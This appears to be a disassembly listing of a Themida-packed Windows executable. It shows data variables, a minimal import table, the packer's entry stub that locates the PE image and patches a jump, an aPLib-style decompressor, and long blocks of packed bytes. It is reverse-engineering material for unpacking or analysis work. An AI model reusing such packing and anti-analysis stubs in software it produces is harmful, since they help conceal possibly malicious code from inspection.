dword_4DB92C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB930	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB944	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB948	dd 2430B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB950	dd 2430B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB954	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB958	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB960	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB968	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB96C	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB970	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB974	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB97C	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB980	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB988	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB98A	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB98E	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB990	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB992	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB998	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB9A0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB9A4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB9A8	dd 0			; DATA XREF: sub_41F312r
dword_4DB9AC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB9B0	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB9B4	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB9BC	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB9C0	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB9C4	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB9C8	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB9CC	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB9D0	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB9D4	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB9D8	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB9DC	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB9E4	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB9F4	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB9FC	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DBA00	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB960o
		align 10h
		dd 3Ah dup(0)
dword_4DBB08	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DBB0C	dd 0			; DATA XREF: sub_423590+21r
dword_4DBB10	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DBB14	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DBB18	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DBB20	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DBB22	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DBB24	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DBB40	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DBB44	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DBB48	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DBB4C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DBB50	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DBB58	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DBB60	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DBB64	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DBBA4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DBBA6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DBBA8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DBBAA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DBBAC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DBBAE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DBBB0	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DBBB2	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DBBB4	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DBBB8	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DBBF8	dw 0			; DATA XREF: sub_424A4A+46r
word_4DBBFA	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DBBFC	dw 0			; DATA XREF: sub_424A4A+67r
word_4DBBFE	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DBC00	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DBC02	dw 0			; DATA XREF: sub_424A4A+55r
word_4DBC04	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DBC06	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DBC08	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DBC0C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DBC10	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DBC14	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DBC18	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DBC1C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DBC20	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DBC24	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DBC28	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DBC2C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DBC30	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DBC38	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DBC3C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DBC40	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DBC44	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DBC48	dd 2431140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		dd 5 dup(0)
dword_4DBC60	dd 400h	dup(0)		; DATA XREF: ___:off_43D098o
					; ___:0043D0A0o
dword_4DCC60	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DCC80	dd 2430650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DCC84	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DCD80	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DCD84	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DCD90	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DCD9C	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DCDA0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DCEA0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DCEA1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DCFA4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DCFA8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DCFAC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DCFB0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DCFB4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DCFB8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DCFBC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DCFC0	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DCFC4	dd 2430000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DCFC8	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DCFCC	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DCFD0	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DCFD4	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DCFD8	dd 2430758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DCFDC	dd 2430758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 8 dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7w\w',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 98202770h, 45D26h, 54436h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053C1AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053F559 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053F7CF SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:004380F4o
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53C1AC
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53C1AC
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 15733A8h, 8401F3EBh,	9888AF3Eh, 0C0AF46B8h, 74736552h
		dd 38727361h, 2EBD7041h, 8F70783Eh, 0F73390FDh,	91DF5F08h
		dd 883A4B35h, 3DC36FCh,	455E5F21h, 7517C224h, 1FC20179h
		dd 1771F17Fh, 92E45508h, 0DFD5215Ch, 5D23019Ch,	685400D7h
		dd 64696D65h, 0F7856170h, 0C2114574h, 2291F737h, 78F721DCh
		dd 2D383430h, 0CAFF4231h, 687F3001h, 0C4D57F01h, 57235C21h
		dd 0E103CCD0h, 8B87BE0Ah, 60D421C5h, 5D20C2E8h,	1B7ED81h
		dd 89061D33h, 842E2595h, 1165B50Dh, 0D8758547h,	19BD8307h
		dd 740738A8h, 22E88B0Ch, 0E57AB8E2h, 70C7C27Bh,	3E1C2444h
		dd 6A00E1A5h, 0A360E845h, 749A6829h, 50077A83h,	1E250ADFh
		dd 910A894Bh, 14E90AD5h, 0D057EC02h, 0EC0A8B55h, 0EED8C483h
		dd 0EA815AC0h, 8B3440A5h, 45C7DA09h, 18081BD8h,	889400Eh
		dd 80FC7D81h, 0F741DC6h, 76087F20h, 0FF45CC83h,	0EB314312h
		dd 61DC36E1h, 0C90A26BAh, 34604C2h, 0FF7CC481h,	22490247h
		dd 458D00EEh, 85D8B80h,	19A285C7h, 8D5025h, 88C3D10Ah
		dd 89544118h, 0BD51810Bh, 755D0106h, 14274AE3h,	7664BA8Dh
		dd 8A807502h, 48F4BB0Eh, 7ABB85Bh, 0D3785437h, 80FE6D0h
		dd 0F7754B1Dh, 47C3AF82h, 314A9246h, 4251F946h,	8A5D61D1h
		dd 0AFF0D003h, 5045EEECh, 51EB4DFCh, 46E4AD04h,	403E6280h
		dd 849BBAF7h, 7D0C3473h, 3E7FEB0Ch, 6D6486F8h, 0E26F012h
		dd 4A10F454h, 0F065C10Ah, 0F801D604h, 0C203E0D1h, 332800CBh
		dd 301C8ADBh, 72E6FB80h, 390A0A61h, 0EBE90577h,	3F2293F7h
		dd 0DB36114h, 8FB660Ah,	0C3FA1E7Ah, 10610A75h, 0B72411Ah
		dd 77460A86h, 10F52406h, 0C3F05D01h, 7D83F4ECh,	0B0720298h
		dd 76C00CD9h, 0AA32A5BBh, 700EF826h, 0A8508D3Bh, 0FC55053Bh
		dd 4E78820Fh, 0AA0DB0BDh, 0BA87F238h, 5B90708h,	0BDFC4270h
		dd 0FE003634h, 0E49470Fh, 22B9FA75h, 0BBE76A2Eh, 0F1A31F01h
		dd 0C78EB82h, 86018EECh, 71E3872h, 36C16551h, 28F71DBFh
		dd 5007268Ah, 7F5905E9h, 6751796Bh, 0A7211304h,	458AC0C4h
		dd 82660525h, 211A09h, 7BC45141h, 31E6E7ADh, 9EA0418h
		dd 3CDE31Dh, 0E8A8ACDEh, 5C23E049h, 0C45F0E57h,	38758A44h
		dd 0C4571D47h, 97D70032h, 6761817Fh, 858E4C0h, 0CE158510h
		dd 0BF8EA2Bh, 1D00880Fh, 0DE1931D5h, 8314E0h, 4E274C52h
		dd 8C6762F7h, 0C32CDA02h, 85DCB810h, 0B406F183h, 15EFA61h
		dd 623C08D7h, 0C334CB8Ch, 4E391403h, 70F765Bh, 43D5136h
		dd 663BC7D1h, 751D7846h, 11582E09h, 0AEC480Eh, 69065E4h
		dd 0C58440AEh, 962A8E05h, 5347CB85h, 45C20485h,	0D718C29h
		dd 0BB0EE791h, 2BFF30B0h, 0C0047781h, 0C1341D22h, 3319F984h
		dd 3FBC2075h, 660A7707h, 25030EFh, 8CE2ECDCh, 0FFCC7F67h
		dd 453340E4h, 6094E9FAh, 52C46200h, 11254D8Ch, 0B1AA2182h
		dd 425AAB33h, 56241384h, 825E6031h, 81AA90EEh, 4F4E5284h
		dd 13B9AA8Ah, 97522320h, 23259443h, 0C45A0E52h,	624D8A44h
		dd 52422019h, 8600CAC4h, 515D2635h, 485C9FB4h, 0F58021E9h
		dd 0E08D1EBAh, 7E77C900h, 0C1DAD39h, 0AF31039Bh, 0A480B1D0h
		dd 0BF4180BCh, 6224C6F3h, 99BC225Ch, 5694DA8Dh,	0C4725E18h
		dd 116D8A23h, 5646001Ch, 16E82BC4h, 500D00D8h, 0E08CB211h
		dd 575E281h, 0CA0BD903h, 3378610h, 3FBC6735h, 0C2D1C85Fh
		dd 29C4332h, 14EA1D18h,	0EE24F30Bh, 48C2077Eh, 9022DD71h
		dd 4E664D7Dh, 584BB402h, 82EAB68Eh, 91881045h, 0C0DC54B1h
		dd 325C52DCh, 0E482887Eh, 8D5DA100h, 0E6868A69h, 0EA20C612h
		dd 9600230Fh, 850E58CBh, 983223h, 88A53D24h, 0DC8125C3h
		dd 6385B62h, 11E90219h,	0F8CD3D20h, 0FEE500F2h,	89A3BD61h
		dd 5F0A5EA9h, 15836712h, 309B3980h, 4B082Bh, 5DCE6E94h
		dd 0EBBD69A3h, 7A3E3D24h, 0FCBECF00h, 60EA6059h, 0E986390Bh
		dd 0A11EC009h, 5CC0E88Ah, 71C8821Ch, 6220D172h,	2C1F5D00h
		dd 0BC134199h, 3FA62503h, 0C880983Eh, 0CA1D2969h, 6FF5726h
		dd 0A5A5CF3h, 3807C270h, 5B96E881h, 55C06ED4h, 180BF29Bh
		dd 5F0DE944h, 0CA16232Dh, 0E600D64Ah, 169A39C1h, 0DCB8C10Ah
		dd 0D459F2B1h, 8B074EC3h, 10613AF5h, 3C3F0356h,	8E2943B3h
		dd 0D08200CAh, 5B15208Fh, 0F3386277h, 71449323h, 53F47505h
		dd 9013E81Dh, 248F990Ah, 0F0841C30h, 1B689002h,	250D2ABh
		dd 0BEC4363Eh, 2C3DC8EAh, 26B0C393h, 1875A4h, 707A5A90h
		dd 127E603Ch, 5019875h,	163E131h, 20818A71h, 0E5990C28h
		dd 2010818Eh, 0B5883DF7h, 74E881F2h, 49809719h,	0AAEE05B4h
		dd 0EA1E0FC1h, 3C09511Eh, 397E00B1h, 8B8EE3h, 604821FBh
		dd 0C1DB5966h, 58708130h, 3AC4E0h, 0ED0AAD2Eh, 4431FB33h
		dd 0C637C206h, 606832h,	537B2B8Ah, 0ADE7A286h, 8DB44701h
		dd 5BD9ED65h, 0F843AED4h, 29E30C36h, 6EC173A3h,	9F306600h
		dd 91C63BFh, 14A00274h,	8150CC1Eh, 216814A0h, 0C607FBD5h
		dd 17FD495Ch, 5002C2C5h, 80AFD085h, 639FE58Eh, 396E60FFh
		dd 4532AB90h, 5B0A7B18h, 0F95D9A9h, 99D42464h, 196D0F86h
		dd 3118637Dh, 90117D34h, 0ED43F65h, 0E10D1E00h,	3D13FF50h
		dd 0E0D70B00h, 2B44C1B9h, 5524C246h, 0A4C09626h, 250083CBh
		dd 7222A090h, 70167F5h,	0DABABED7h, 4BF110D5h, 1531EB87h
		dd 0F6C910DBh, 0C8F00880h, 0E05612D9h, 8690600h, 40ACAB2Ah
		dd 0DE800644h, 281E41BBh, 1D4ECF3Fh, 3546EC0Eh,	41F1CAh
		dd 0CD2259B7h, 1E16FB97h, 0EE4D600Fh, 0CE146138h, 2987E0B9h
		dd 4CE751F1h, 0A80C3510h, 90D9C74Bh, 19DA63EAh,	0D6E06122h
		dd 5E005158h, 8108F99Eh, 6D16269h, 0C9DBB6F0h, 0E7151F4h
		dd 0E99B2600h, 66A930B2h, 767A1CAAh, 7D42401Ah,	3296E84h
		dd 5A4B8706h, 1040E609h, 39621F9h, 8D8AAAE0h, 0FC1840F3h
		dd 8962184Bh, 604A10F5h, 551F2800h, 51BA6880h, 0F9811CE6h
		dd 3B72C00Ch, 60FBD2B4h, 0E0479D00h, 0C17FEAF2h, 0EEE9316Ah
		dd 0F47B5140h, 633195FEh, 91E520D0h, 4F584082h,	0A48027C6h
		dd 0A3B160CAh, 815F2500h, 0F241E473h, 0CFA1DC4Bh, 0C20F592Fh
